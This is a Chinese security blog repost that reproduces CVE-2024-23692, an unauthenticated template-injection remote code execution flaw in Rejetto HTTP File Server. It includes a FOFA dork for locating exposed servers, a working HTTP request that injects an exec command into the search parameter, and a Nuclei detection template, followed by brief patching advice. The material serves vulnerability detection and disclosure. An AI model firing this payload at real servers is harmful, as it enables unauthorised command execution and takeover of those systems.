Rejetto HTTP 文件服务器未经身份验证的 RCE【附poc】

admin 2024年7月3日08:21:44评论8 views字数 1607阅读5分21秒阅读模式

 

一、漏洞描述

Rejetto HTTP File Server(Rejetto HFS)是Rejetto公司的一款 HTTP 文件服务器。Rejetto HTTP File Server 2.3m及之前版本存在安全漏洞,该漏洞源于存在模板注入漏洞,被确定为CVE-2024-23692,该漏洞的CVSS评分为9.8。允许未经身份验证的恶意攻击者可以任意命令,进而控制服务器系统。

Rejetto HTTP 文件服务器未经身份验证的 RCE【附poc】

二、网络测绘

fofa:app="HFS"

Rejetto HTTP 文件服务器未经身份验证的 RCE【附poc】

三、漏洞复现

测试执行ipconfig命令

Rejetto HTTP 文件服务器未经身份验证的 RCE【附poc】

四、漏洞检测poc

GET /?n=%0A&cmd=ipconfig&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1Host: 0.0.0.0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1

五、Nuclei 检测POC

id: HFS_Rejetto_HTTP_RCEinfo:  name: HFS_Rejetto_HTTP_RCE  author: hamal  severity: high  description: Rejetto HTTP 文件服务器未经身份验证的 RCE  reference:    - https://  tags: 微信公众号(实战安全研究)http:  - raw:      - |+        GET /?n=%0A&cmd=ipconfig&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close        Upgrade-Insecure-Requests: 1    matchers-condition: and    matchers:      - type: word        part: body        words:          - Windows IP      - type: status        status:          - 200

Rejetto HTTP 文件服务器未经身份验证的 RCE【附poc】

关注公众号:实战安全研究
公众号回复"Nuclei" 获取往期Nuclei漏洞POC

六、漏洞修复

1、建议联系厂商打补丁或升级版本。

2、增加Web应用防火墙防护。

3、关闭互联网暴露面或接口设置访问权限。

原文始发于微信公众号(实战安全研究):漏洞复现 | Rejetto HTTP 文件服务器未经身份验证的 RCE【附poc】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日08:21:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Rejetto HTTP 文件服务器未经身份验证的 RCE【附poc】http://cn-sec.com/archives/2845232.html

发表评论

匿名网友 填写信息